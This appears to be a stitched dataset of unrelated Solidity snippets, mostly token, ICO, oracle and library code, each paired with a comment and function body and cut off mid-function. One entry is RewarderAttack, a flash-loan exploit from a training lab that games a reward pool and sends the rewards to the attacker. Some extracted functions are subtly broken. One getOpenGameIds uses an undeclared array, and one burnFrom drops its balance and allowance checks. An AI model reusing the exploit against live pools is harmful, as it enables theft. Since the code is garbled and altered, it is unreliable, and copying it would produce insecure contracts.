'end'; ga = openGamesById[ga]) { counter++; } /* * Create RAM array of gameIds. * Then unroll, the LL, storing information in the created array. */ bytes32[] memory gameIds = new bytes32[](counter); uint8[] memory gameSizesX = new uint8[](counter); uint8[] memory gameSizesY = new uint8[](counter); bytes32[] memory gamePlayerNames = new bytes32[](counter); uint8[] memory gameNumberOfPlayers = new uint8[](counter); bool[] memory gameWeMoveFirst = new bool[](counter); var currentGameId = openGamesByIdHead; for (uint256 i = 0; i < counter; i++) { gameIds[i] = currentGameId; gameSizesX[i] = gamesById[currentGameId].sizeX; gameSizesY[i] = gamesById[currentGameId].sizeY; gamePlayerNames[i] = stringToBytes32(gamesById[currentGameId].player1Alias); gameNumberOfPlayers[i] = gamesById[currentGameId].numberOfPlayers; gameWeMoveFirst[i] = gamesById[currentGameId].nextPlayer == 0? false: true; currentGameId = openGamesById[currentGameId]; } return (gameIds, gamePlayerNames, gameSizesX, gameSizesY, gameNumberOfPlayers, gameWeMoveFirst); } }
Using small hack, return list of all currently open games./ Count total number of different open games. /
function getOpenGameIds() public view returns (bytes32[], bytes32[], uint8[], uint8[], uint8[], bool[]) { uint256 counter = 0; for (var ga = openGamesByIdHead; ga != 'end'; ga = openGamesById[ga]) { counter++; } uint8[] memory gameSizesX = new uint8[](counter); uint8[] memory gameSizesY = new uint8[](counter); bytes32[] memory gamePlayerNames = new bytes32[](counter); uint8[] memory gameNumberOfPlayers = new uint8[](counter); bool[] memory gameWeMoveFirst = new bool[](counter); var currentGameId = openGamesByIdHead; for (uint256 i = 0; i < counter; i++) { gameIds[i] = currentGameId; gameSizesX[i] = gamesById[currentGameId].sizeX; gameSizesY[i] = gamesById[currentGameId].sizeY; gamePlayerNames[i] = stringToBytes32(gamesById[currentGameId].player1Alias); gameNumberOfPlayers[i] = gamesById[currentGameId].numberOfPlayers; gameWeMoveFirst[i] = gamesById[currentGameId].nextPlayer == 0? false: true; currentGameId = openGamesById[currentGameId]; } return (gameIds, gamePlayerNames, gameSizesX, gameSizesY, gameNumberOfPlayers, gameWeMoveFirst); }
2,523,401
// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../DamnValuableToken.sol"; import "@openzeppelin/contracts/token/ERC20/ERC20.sol"; interface IRewardPool{ function deposit(uint256 amountToDeposit) external; function withdraw(uint256 amountToWithdraw) external; } interface IFlashPool{ function flashLoan(uint256 amount) external; } contract RewarderAttack{ DamnValuableToken liquidityToken; ERC20 rewardToken; IRewardPool rewardPool; IFlashPool flashPool; constructor( DamnValuableToken _liquidityToken, ERC20 _rewardToken, IRewardPool _rewardPool, IFlashPool _flashpool ) { liquidityToken = _liquidityToken; rewardToken = _rewardToken; rewardPool = _rewardPool; flashPool = _flashpool; } function attack() external { //get pool balance uint256 _poolBal = liquidityToken.balanceOf(address(flashPool)); //approve the reward pool liquidityToken.approve(address(rewardPool), _poolBal); //take flashLoan flashPool.flashLoan(_poolBal); //transfer the rewards to attackerEOA rewardToken.transfer(msg.sender, rewardToken.balanceOf(address(this))); } function receiveFlashLoan(uint256 _amount) external { rewardPool.deposit(_amount); rewardPool.withdraw(_amount); //payback the flashLoan liquidityToken.transfer(address(flashPool), _amount); } }
get pool balanceapprove the reward pooltake flashLoantransfer the rewards to attackerEOA
function attack() external { uint256 _poolBal = liquidityToken.balanceOf(address(flashPool)); liquidityToken.approve(address(rewardPool), _poolBal); flashPool.flashLoan(_poolBal); rewardToken.transfer(msg.sender, rewardToken.balanceOf(address(this))); }
1,787,454
//Address: 0x9733e6c4dc6f1f6b9c5723b8a64fc2ab90b14a8b //Contract name: StreamityContract //Balance: 0.680197788299398765 Ether //Verification Date: 1/22/2018 //Transacion Count: 1705 // CODE STARTS HERE pragma solidity ^0.4.18; library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ function Ownable() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); OwnershipTransferred(owner, newOwner); owner = newOwner; } } interface tokenRecipient { function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) public; } contract TokenERC20 is Ownable { using SafeMath for uint; // Public variables of the token string public name; string public symbol; uint256 public decimals = 18; uint256 DEC = 10 ** uint256(decimals); uint256 public totalSupply; uint256 public avaliableSupply; uint256 public buyPrice = 1000000000000000000 wei; // This creates an array with all balances mapping (address => uint256) public balanceOf; mapping (address => mapping (address => uint256)) public allowance; // This generates a public event on the blockchain that will notify clients event Transfer(address indexed from, address indexed to, uint256 value); event Burn(address indexed from, uint256 value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); /** * Constrctor function * * Initializes contract with initial supply tokens to the creator of the contract */ function TokenERC20( uint256 initialSupply, string tokenName, string tokenSymbol ) public { totalSupply = initialSupply.mul(DEC); // Update total supply with the decimal amount balanceOf[this] = totalSupply; // Give the creator all initial tokens avaliableSupply = balanceOf[this]; // Show how much tokens on contract name = tokenName; // Set the name for display purposes symbol = tokenSymbol; // Set the symbol for display purposes } /** * Internal transfer, only can be called by this contract * * @param _from - address of the contract * @param _to - address of the investor * @param _value - tokens for the investor */ function _transfer(address _from, address _to, uint256 _value) internal { // Prevent transfer to 0x0 address. Use burn() instead require(_to != 0x0); // Check if the sender has enough require(balanceOf[_from] >= _value); // Check for overflows require(balanceOf[_to].add(_value) > balanceOf[_to]); // Save this for an assertion in the future uint previousBalances = balanceOf[_from].add(balanceOf[_to]); // Subtract from the sender balanceOf[_from] = balanceOf[_from].sub(_value); // Add the same to the recipient balanceOf[_to] = balanceOf[_to].add(_value); Transfer(_from, _to, _value); // Asserts are used to use static analysis to find bugs in your code. They should never fail assert(balanceOf[_from].add(balanceOf[_to]) == previousBalances); } /** * Transfer tokens * * Send `_value` tokens to `_to` from your account * * @param _to The address of the recipient * @param _value the amount to send */ function transfer(address _to, uint256 _value) public { _transfer(msg.sender, _to, _value); } /** * Transfer tokens from other address * * Send `_value` tokens to `_to` in behalf of `_from` * * @param _from The address of the sender * @param _to The address of the recipient * @param _value the amount to send */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) { require(_value <= allowance[_from][msg.sender]); // Check allowance allowance[_from][msg.sender] = allowance[_from][msg.sender].sub(_value); _transfer(_from, _to, _value); return true; } /** * Set allowance for other address * * Allows `_spender` to spend no more than `_value` tokens in your behalf * * @param _spender The address authorized to spend * @param _value the max amount they can spend */ function approve(address _spender, uint256 _value) public returns (bool success) { allowance[msg.sender][_spender] = _value; return true; } /** * Set allowance for other address and notify * * Allows `_spender` to spend no more than `_value` tokens in your behalf, and then ping the contract about it * * @param _spender The address authorized to spend * @param _value the max amount they can spend * @param _extraData some extra information to send to the approved contract */ function approveAndCall(address _spender, uint256 _value, bytes _extraData) public onlyOwner returns (bool success) { tokenRecipient spender = tokenRecipient(_spender); if (approve(_spender, _value)) { spender.receiveApproval(msg.sender, _value, this, _extraData); return true; } } /** * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol */ function increaseApproval (address _spender, uint _addedValue) public returns (bool success) { allowance[msg.sender][_spender] = allowance[msg.sender][_spender].add(_addedValue); Approval(msg.sender, _spender, allowance[msg.sender][_spender]); return true; } function decreaseApproval (address _spender, uint _subtractedValue) public returns (bool success) { uint oldValue = allowance[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowance[msg.sender][_spender] = 0; } else { allowance[msg.sender][_spender] = oldValue.sub(_subtractedValue); } Approval(msg.sender, _spender, allowance[msg.sender][_spender]); return true; } /** * Destroy tokens * * Remove `_value` tokens from the system irreversibly * * @param _value the amount of money to burn */ function burn(uint256 _value) public onlyOwner returns (bool success) { require(balanceOf[msg.sender] >= _value); // Check if the sender has enough balanceOf[msg.sender] = balanceOf[msg.sender].sub(_value); // Subtract from the sender totalSupply = totalSupply.sub(_value); // Updates totalSupply avaliableSupply = avaliableSupply.sub(_value); Burn(msg.sender, _value); return true; } /** * Destroy tokens from other account * * Remove `_value` tokens from the system irreversibly on behalf of `_from`. * * @param _from the address of the sender * @param _value the amount of money to burn */ function burnFrom(address _from, uint256 _value) public onlyOwner returns (bool success) { require(balanceOf[_from] >= _value); // Check if the targeted balance is enough require(_value <= allowance[_from][msg.sender]); // Check allowance balanceOf[_from] = balanceOf[_from].sub(_value); // Subtract from the targeted balance allowance[_from][msg.sender] = allowance[_from][msg.sender].sub(_value); // Subtract from the sender's allowance totalSupply = totalSupply.sub(_value); // Update totalSupply avaliableSupply = avaliableSupply.sub(_value); Burn(_from, _value); return true; } } contract Pauseble is TokenERC20 { event EPause(); event EUnpause(); bool public paused = true; uint public startIcoDate = 0; modifier whenNotPaused() { require(!paused); _; } modifier whenPaused() { require(paused); _; } function pause() public onlyOwner { paused = true; EPause(); } function pauseInternal() internal { paused = true; EPause(); } function unpause() public onlyOwner { paused = false; EUnpause(); } function unpauseInternal() internal { paused = false; EUnpause(); } } contract ERC20Extending is TokenERC20 { using SafeMath for uint; /** * Function for transfer ethereum from contract to any address * * @param _to - address of the recipient * @param amount - ethereum */ function transferEthFromContract(address _to, uint256 amount) public onlyOwner { _to.transfer(amount); } /** * Function for transfer tokens from contract to any address * */ function transferTokensFromContract(address _to, uint256 _value) public onlyOwner { avaliableSupply = avaliableSupply.sub(_value); _transfer(this, _to, _value); } } contract StreamityCrowdsale is Pauseble { using SafeMath for uint; uint public stage = 0; uint256 public weisRaised; // how many weis was raised on crowdsale event CrowdSaleFinished(string info); struct Ico { uint256 tokens; // Tokens in crowdsale uint startDate; // Date when crowsale will be starting, after its starting that property will be the 0 uint endDate; // Date when crowdsale will be stop uint8 discount; // Discount uint8 discountFirstDayICO; // Discount. Only for first stage ico } Ico public ICO; /* * Function confirm autosell * */ function confirmSell(uint256 _amount) internal view returns(bool) { if (ICO.tokens < _amount) { return false; } return true; } /* * Make discount */ function countDiscount(uint256 amount) internal returns(uint256) { uint256 _amount = (amount.mul(DEC)).div(buyPrice); if (1 == stage) { _amount = _amount.add(withDiscount(_amount, ICO.discount)); } else if (2 == stage) { if (now <= ICO.startDate + 1 days) { if (0 == ICO.discountFirstDayICO) { ICO.discountFirstDayICO = 20; } _amount = _amount.add(withDiscount(_amount, ICO.discountFirstDayICO)); } else { _amount = _amount.add(withDiscount(_amount, ICO.discount)); } } else if (3 == stage) { _amount = _amount.add(withDiscount(_amount, ICO.discount)); } return _amount; } /** * Function for change discount if need * */ function changeDiscount(uint8 _discount) public onlyOwner returns (bool) { ICO = Ico (ICO.tokens, ICO.startDate, ICO.endDate, _discount, ICO.discountFirstDayICO); return true; } /** * Expanding of the functionality * * @param _numerator - Numerator - value (10000) * @param _denominator - Denominator - value (10000) * * example: price 1000 tokens by 1 ether = changeRate(1, 1000) */ function changeRate(uint256 _numerator, uint256 _denominator) public onlyOwner returns (bool success) { if (_numerator == 0) _numerator = 1; if (_denominator == 0) _denominator = 1; buyPrice = (_numerator.mul(DEC)).div(_denominator); return true; } /* * Function show in contract what is now * */ function crowdSaleStatus() internal constant returns (string) { if (1 == stage) { return "Pre-ICO"; } else if(2 == stage) { return "ICO first stage"; } else if (3 == stage) { return "ICO second stage"; } else if (4 >= stage) { return "feature stage"; } return "there is no stage at present"; } /* * Seles manager * */ function paymentManager(address sender, uint256 value) internal { uint256 discountValue = countDiscount(value); bool conf = confirmSell(discountValue); if (conf) { sell(sender, discountValue); weisRaised = weisRaised.add(value); if (now >= ICO.endDate) { pauseInternal(); CrowdSaleFinished(crowdSaleStatus()); // if time is up } } else { sell(sender, ICO.tokens); // sell tokens which has been accessible weisRaised = weisRaised.add(value); pauseInternal(); CrowdSaleFinished(crowdSaleStatus()); // if tokens sold } } /* * Function for selling tokens in crowd time. * */ function sell(address _investor, uint256 _amount) internal { ICO.tokens = ICO.tokens.sub(_amount); avaliableSupply = avaliableSupply.sub(_amount); _transfer(this, _investor, _amount); } /* * Function for start crowdsale (any) * * @param _tokens - How much tokens will have the crowdsale - amount humanlike value (10000) * @param _startDate - When crowdsale will be start - unix timestamp (1512231703 ) * @param _endDate - When crowdsale will be end - humanlike value (7) same as 7 days * @param _discount - Discount for the crowd - humanlive value (7) same as 7 % * @param _discount - Discount for the crowds first day - humanlive value (7) same as 7 % */ function startCrowd(uint256 _tokens, uint _startDate, uint _endDate, uint8 _discount, uint8 _discountFirstDayICO) public onlyOwner { require(_tokens * DEC <= avaliableSupply); // require to set correct tokens value for crowd ICO = Ico (_tokens * DEC, _startDate, _startDate + _endDate * 1 days , _discount, _discountFirstDayICO); stage = stage.add(1); unpauseInternal(); } /** * Function for web3js, should be call when somebody will buy tokens from website. This function only delegator. * * @param _investor - address of investor (who payed) * @param _amount - ethereum */ function transferWeb3js(address _investor, uint256 _amount) external onlyOwner { sell(_investor, _amount); } /** * Function for adding discount * */ function withDiscount(uint256 _amount, uint _percent) internal pure returns (uint256) { return (_amount.mul(_percent)).div(100); } } contract StreamityContract is ERC20Extending, StreamityCrowdsale { /* Streamity tokens Constructor */ function StreamityContract() public TokenERC20(186000000, "Streamity", "STM") {} //change before send !!! /** * Function payments handler * */ function () public payable { assert(msg.value >= 1 ether / 10); require(now >= ICO.startDate); if (paused == false) { paymentManager(msg.sender, msg.value); } else { revert(); } } }
Destroy tokens from other account Remove `_value` tokens from the system irreversibly on behalf of `_from`. _from the address of the sender _value the amount of money to burn/
function burnFrom(address _from, uint256 _value) public onlyOwner returns (bool success) { avaliableSupply = avaliableSupply.sub(_value); Burn(_from, _value); return true; }
6,397,137
/** *Submitted for verification at Etherscan.io on 2021-10-29 */ // SPDX-License-Identifier: bsl-1.1 /* Copyright 2020 Unit Protocol: Artem Zakharov ([email protected]). */ pragma solidity ^0.8.0; interface IERC20Like { function symbol() external view returns (string memory); function balanceOf(address) external view returns (uint); function decimals() external view returns (uint8); function transfer(address, uint256) external returns (bool); function transferFrom(address, address, uint256) external returns (bool); function totalSupply() external view returns (uint256); } /// @title Reader of MetadataOracle core data interface ICoreMetadataOracleReader { struct Quote { uint256 price; uint32 updateTS; } /// @notice Gets a list of assets quoted by this oracle. function getAssets() external view returns (address[] memory); /// @notice Checks if an asset is quoted by this oracle. function hasAsset(address asset) external view returns (bool); /** * @notice Gets last known quotes for the assets. * @param assets Assets to query * @return quotes Prices and update timestamps for corresponding assets. */ function quoteAssets(address[] calldata assets) external view returns (Quote[] memory quotes); } interface IOracleUsd { function assetToUsd(address asset, uint256 amount) external view returns (uint256); } /// @title MetadataOracle wrapper for Unit protocol contract UnitMetadataOracle is IOracleUsd { ICoreMetadataOracleReader public immutable metadataOracle; uint256 public immutable maxPriceAgeSeconds; constructor(address metadataOracle_, uint256 maxPriceAgeSeconds_) { metadataOracle = ICoreMetadataOracleReader(metadataOracle_); maxPriceAgeSeconds = maxPriceAgeSeconds_; } /** * @notice Evaluates the cost of amount of asset in USD. * @dev reverts on non-supported asset or stale price. * @param asset evaluated asset * @param amount amount of asset in the smallest units * @return result USD value, scaled by 10**18 * 2**112 */ function assetToUsd(address asset, uint256 amount) external view override returns (uint256 result) { address[] memory input = new address[](1); input[0] = asset; ICoreMetadataOracleReader.Quote memory quote = metadataOracle.quoteAssets(input)[0]; require(block.timestamp - quote.updateTS <= maxPriceAgeSeconds, 'STALE_PRICE'); uint256 decimals = uint256(IERC20Like(asset).decimals()); require(decimals < 256); int256 scaleDecimals = 18 - int256(decimals); result = quote.price * amount; if (scaleDecimals > 0) result *= uint256(10) ** uint256(scaleDecimals); else if (scaleDecimals < 0) result /= uint256(10) ** uint256(-scaleDecimals); } }
Evaluates the cost of amount of asset in USD. reverts on non-supported asset or stale price. asset evaluated asset amount amount of asset in the smallest units return result USD value, scaled by 1018 2112/
function assetToUsd(address asset, uint256 amount) external view override returns (uint256 result) { address[] memory input = new address[](1); input[0] = asset; ICoreMetadataOracleReader.Quote memory quote = metadataOracle.quoteAssets(input)[0]; require(block.timestamp - quote.updateTS <= maxPriceAgeSeconds, 'STALE_PRICE'); uint256 decimals = uint256(IERC20Like(asset).decimals()); require(decimals < 256); int256 scaleDecimals = 18 - int256(decimals); result = quote.price * amount; if (scaleDecimals > 0) result *= uint256(10) ** uint256(scaleDecimals); else if (scaleDecimals < 0) result /= uint256(10) ** uint256(-scaleDecimals); }
6,651,181
/** *Submitted for verification at Etherscan.io on 2021-06-22 */ // SPDX-License-Identifier: MIT pragma solidity 0.8.3; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ERC20 is Context, IERC20 { mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; /** * @dev Sets the values for {name} and {symbol}. * * The defaut value of {decimals} is 18. To select a different value for * {decimals} you should overload it. * * All three of these values are immutable: they can only be set once during * construction. */ constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev Returns the name of the token. */ function name() public view virtual returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless this function is * overloaded; * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual returns (uint8) { return 18; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom( address sender, address recipient, uint256 amount ) public virtual override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][_msgSender()]; require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance"); _approve(sender, _msgSender(), currentAllowance - amount); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { uint256 currentAllowance = _allowances[_msgSender()][spender]; require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); _approve(_msgSender(), spender, currentAllowance - subtractedValue); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer( address sender, address recipient, uint256 amount ) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); uint256 senderBalance = _balances[sender]; require(senderBalance >= amount, "ERC20: transfer amount exceeds balance"); _balances[sender] = senderBalance - amount; _balances[recipient] += amount; emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply += amount; _balances[account] += amount; emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); uint256 accountBalance = _balances[account]; require(accountBalance >= amount, "ERC20: burn amount exceeds balance"); _balances[account] = accountBalance - amount; _totalSupply -= amount; emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve( address owner, address spender, uint256 amount ) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 amount ) internal virtual {} } /** * @dev Extension of {ERC20} that allows token holders to destroy both their own * tokens and those that they have an allowance for, in a way that can be * recognized off-chain (via event analysis). */ abstract contract ERC20Burnable is Context, ERC20 { /** * @dev Destroys `amount` tokens from the caller. * * See {ERC20-_burn}. */ function burn(uint256 amount) public virtual { _burn(_msgSender(), amount); } /** * @dev Destroys `amount` tokens from `account`, deducting from the caller's * allowance. * * See {ERC20-_burn} and {ERC20-allowance}. * * Requirements: * * - the caller must have allowance for ``accounts``'s tokens of at least * `amount`. */ function burnFrom(address account, uint256 amount) public virtual { uint256 currentAllowance = allowance(account, _msgSender()); require(currentAllowance >= amount, "ERC20: burn amount exceeds allowance"); _approve(account, _msgSender(), currentAllowance - amount); _burn(account, amount); } } /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } // Exempt from the original UniswapV2Library. library UniswapV2Library { // returns sorted token addresses, used to handle return values from pairs sorted in this order function sortTokens(address tokenA, address tokenB) internal pure returns (address token0, address token1) { require(tokenA != tokenB, 'UniswapV2Library: IDENTICAL_ADDRESSES'); (token0, token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA); require(token0 != address(0), 'UniswapV2Library: ZERO_ADDRESS'); } // calculates the CREATE2 address for a pair without making any external calls function pairFor(bytes32 initCodeHash, address factory, address tokenA, address tokenB) internal pure returns (address pair) { (address token0, address token1) = sortTokens(tokenA, tokenB); pair = address(uint160(uint(keccak256(abi.encodePacked( hex'ff', factory, keccak256(abi.encodePacked(token0, token1)), initCodeHash // init code hash ))))); } } /// @notice based on https://github.com/Uniswap/uniswap-v3-periphery/blob/v1.0.0/contracts/libraries/PoolAddress.sol /// @notice changed compiler version and lib name. /// @title Provides functions for deriving a pool address from the factory, tokens, and the fee library UniswapV3Library { bytes32 internal constant POOL_INIT_CODE_HASH = 0xe34f199b19b2b4f47f68442619d555527d244f78a3297ea89325f843f87b8b54; /// @notice The identifying key of the pool struct PoolKey { address token0; address token1; uint24 fee; } /// @notice Returns PoolKey: the ordered tokens with the matched fee levels /// @param tokenA The first token of a pool, unsorted /// @param tokenB The second token of a pool, unsorted /// @param fee The fee level of the pool /// @return Poolkey The pool details with ordered token0 and token1 assignments function getPoolKey( address tokenA, address tokenB, uint24 fee ) internal pure returns (PoolKey memory) { if (tokenA > tokenB) (tokenA, tokenB) = (tokenB, tokenA); return PoolKey({token0: tokenA, token1: tokenB, fee: fee}); } /// @notice Deterministically computes the pool address given the factory and PoolKey /// @param factory The Uniswap V3 factory contract address /// @param key The PoolKey /// @return pool The contract address of the V3 pool function computeAddress(address factory, PoolKey memory key) internal pure returns (address pool) { require(key.token0 < key.token1); pool = address( uint160(uint256( 